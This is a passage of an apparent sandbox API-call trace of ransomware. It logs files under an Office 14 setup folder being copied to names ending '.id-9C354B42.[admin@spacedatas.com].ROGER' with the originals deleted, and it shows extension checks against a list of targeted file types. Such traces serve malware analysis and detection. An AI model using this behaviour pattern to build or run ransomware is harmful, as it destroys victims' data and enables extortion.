lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.665] WriteFile (in: hFile=0x3b8, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0043.665] SetEndOfFile (hFile=0x3b8) returned 1 [0043.665] CloseHandle (hObject=0x3b8) returned 1 [0043.670] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.670] SetEndOfFile (hFile=0x3a0) returned 1 [0043.675] CloseHandle (hObject=0x3a0) returned 1 [0043.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0043.676] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 1 [0044.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0044.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0044.007] lstrlenW (lpString=".doc") returned 4 [0044.007] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.007] lstrlenW (lpString=".docx") returned 5 [0044.007] lstrcmpiW (lpString1=".docx", lpString2="G.XML") returned -1 [0044.007] lstrlenW (lpString=".pdf") returned 4 [0044.007] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.007] lstrlenW (lpString=".xls") returned 4 [0044.007] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.007] lstrlenW (lpString=".xlsx") returned 5 [0044.007] lstrcmpiW (lpString1=".xlsx", lpString2="G.XML") returned -1 [0044.007] lstrlenW (lpString=".ppt") returned 4 [0044.007] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0044.007] lstrlenW (lpString=".zip") returned 4 [0044.007] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.007] lstrlenW (lpString=".rar") returned 4 [0044.008] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.008] lstrlenW (lpString=".bz2") returned 4 [0044.008] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.008] lstrlenW (lpString=".7z") returned 3 [0044.009] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0044.009] lstrlenW (lpString=".dbf") returned 4 [0044.009] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0044.009] lstrlenW (lpString=".1cd") returned 4 [0044.009] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0044.009] lstrlenW (lpString=".jpg") returned 4 [0044.009] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0044.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0044.009] lstrlenW (lpString=".doc") returned 4 [0044.009] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.009] lstrlenW (lpString=".docx") returned 5 [0044.010] lstrcmpiW (lpString1=".docx", lpString2="G.XML") returned -1 [0044.011] lstrlenW (lpString=".pdf") returned 4 [0044.011] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.011] lstrlenW (lpString=".xls") returned 4 [0044.011] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.011] lstrlenW (lpString=".xlsx") returned 5 [0044.011] lstrcmpiW (lpString1=".xlsx", lpString2="G.XML") returned -1 [0044.011] lstrlenW (lpString=".ppt") returned 4 [0044.011] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0044.011] lstrlenW (lpString=".zip") returned 4 [0044.011] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.011] lstrlenW (lpString=".rar") returned 4 [0044.011] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.011] lstrlenW (lpString=".bz2") returned 4 [0044.011] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.011] lstrlenW (lpString=".7z") returned 3 [0044.011] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0044.011] lstrlenW (lpString=".dbf") returned 4 [0044.011] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0044.012] lstrlenW (lpString=".1cd") returned 4 [0044.012] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0044.012] lstrlenW (lpString=".jpg") returned 4 [0044.012] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.013] lstrcmpiW (lpString1=".XML", lpString2=".ROGER") returned 1 [0044.013] lstrlenW (lpString="Office32MUI.XML") returned 15 [0044.013] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0044.152] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=1383) returned 1 [0044.152] CloseHandle (hObject=0x3a8) returned 1 [0044.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 0x20 [0044.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0044.152] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0044.153] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.153] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.153] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0044.153] GetLastError () returned 0x0 [0044.153] ReadFile (in: hFile=0x3a8, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x567, lpOverlapped=0x0) returned 1 [0044.206] WriteFile (in: hFile=0x3b4, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x570, lpOverlapped=0x0) returned 1 [0044.207] ReadFile (in: hFile=0x3a8, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.207] WriteFile (in: hFile=0x3b4, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0044.207] SetEndOfFile (hFile=0x3b4) returned 1 [0044.207] CloseHandle (hObject=0x3b4) returned 1 [0044.208] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.208] SetEndOfFile (hFile=0x3a8) returned 1 [0044.209] CloseHandle (hObject=0x3a8) returned 1 [0044.209] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0044.209] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 1 [0044.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0044.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0044.210] lstrlenW (lpString=".doc") returned 4 [0044.210] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.210] lstrlenW (lpString=".docx") returned 5 [0044.210] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0044.210] lstrlenW (lpString=".pdf") returned 4 [0044.210] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.210] lstrlenW (lpString=".xls") returned 4 [0044.210] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.210] lstrlenW (lpString=".xlsx") returned 5 [0044.210] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0044.210] lstrlenW (lpString=".ppt") returned 4 [0044.210] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0044.210] lstrlenW (lpString=".zip") returned 4 [0044.210] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.210] lstrlenW (lpString=".rar") returned 4 [0044.210] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.210] lstrlenW (lpString=".bz2") returned 4 [0044.210] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.210] lstrlenW (lpString=".7z") returned 3 [0044.210] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0044.210] lstrlenW (lpString=".dbf") returned 4 [0044.210] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0044.210] lstrlenW (lpString=".1cd") returned 4 [0044.210] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0044.210] lstrlenW (lpString=".jpg") returned 4 [0044.211] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0044.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0044.211] lstrlenW (lpString=".doc") returned 4 [0044.211] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.211] lstrlenW (lpString=".docx") returned 5 [0044.211] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0044.211] lstrlenW (lpString=".pdf") returned 4 [0044.211] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.211] lstrlenW (lpString=".xls") returned 4 [0044.211] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.211] lstrlenW (lpString=".xlsx") returned 5 [0044.211] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0044.211] lstrlenW (lpString=".ppt") returned 4 [0044.211] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0044.211] lstrlenW (lpString=".zip") returned 4 [0044.211] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.211] lstrlenW (lpString=".rar") returned 4 [0044.211] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.211] lstrlenW (lpString=".bz2") returned 4 [0044.211] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.211] lstrlenW (lpString=".7z") returned 3 [0044.211] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0044.211] lstrlenW (lpString=".dbf") returned 4 [0044.211] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0044.211] lstrlenW (lpString=".1cd") returned 4 [0044.211] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0044.211] lstrlenW (lpString=".jpg") returned 4 [0044.212] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.212] lstrcmpiW (lpString1=".XML", lpString2=".ROGER") returned 1 [0044.212] lstrlenW (lpString="Office32WW.XML") returned 14 [0044.212] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0044.212] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=4274) returned 1 [0044.212] CloseHandle (hObject=0x3a8) returned 1 [0044.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 0x20 [0044.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0044.212] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0044.212] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.213] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.213] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0044.213] GetLastError () returned 0x0 [0044.213] ReadFile (in: hFile=0x3a8, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x10b2, lpOverlapped=0x0) returned 1 [0044.215] WriteFile (in: hFile=0x3b4, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0044.215] ReadFile (in: hFile=0x3a8, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.215] WriteFile (in: hFile=0x3b4, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0044.216] SetEndOfFile (hFile=0x3b4) returned 1 [0044.216] CloseHandle (hObject=0x3b4) returned 1 [0044.216] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.216] SetEndOfFile (hFile=0x3a8) returned 1 [0044.217] CloseHandle (hObject=0x3a8) returned 1 [0044.217] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0044.218] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 1 [0044.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0044.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0044.218] lstrlenW (lpString=".doc") returned 4 [0044.218] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.218] lstrlenW (lpString=".docx") returned 5 [0044.218] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0044.218] lstrlenW (lpString=".pdf") returned 4 [0044.218] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.218] lstrlenW (lpString=".xls") returned 4 [0044.218] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.218] lstrlenW (lpString=".xlsx") returned 5 [0044.218] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0044.218] lstrlenW (lpString=".ppt") returned 4 [0044.218] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0044.218] lstrlenW (lpString=".zip") returned 4 [0044.218] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.218] lstrlenW (lpString=".rar") returned 4 [0044.218] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.218] lstrlenW (lpString=".bz2") returned 4 [0044.218] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.218] lstrlenW (lpString=".7z") returned 3 [0044.218] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0044.218] lstrlenW (lpString=".dbf") returned 4 [0044.218] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0044.219] lstrlenW (lpString=".1cd") returned 4 [0044.219] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0044.219] lstrlenW (lpString=".jpg") returned 4 [0044.219] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0044.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0044.219] lstrlenW (lpString=".doc") returned 4 [0044.219] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.219] lstrlenW (lpString=".docx") returned 5 [0044.219] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0044.219] lstrlenW (lpString=".pdf") returned 4 [0044.219] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.219] lstrlenW (lpString=".xls") returned 4 [0044.219] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.219] lstrlenW (lpString=".xlsx") returned 5 [0044.219] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0044.219] lstrlenW (lpString=".ppt") returned 4 [0044.219] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0044.219] lstrlenW (lpString=".zip") returned 4 [0044.219] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.219] lstrlenW (lpString=".rar") returned 4 [0044.219] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.219] lstrlenW (lpString=".bz2") returned 4 [0044.219] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.219] lstrlenW (lpString=".7z") returned 3 [0044.219] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0044.219] lstrlenW (lpString=".dbf") returned 4 [0044.219] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0044.220] lstrlenW (lpString=".1cd") returned 4 [0044.220] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0044.220] lstrlenW (lpString=".jpg") returned 4 [0044.220] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.220] lstrcmpiW (lpString1=".XML", lpString2=".ROGER") returned 1 [0044.220] lstrlenW (lpString="OneNoteMUI.XML") returned 14 [0044.220] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0044.220] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=1606) returned 1 [0044.220] CloseHandle (hObject=0x3a8) returned 1 [0044.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 0x20 [0044.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0044.220] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0044.221] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, 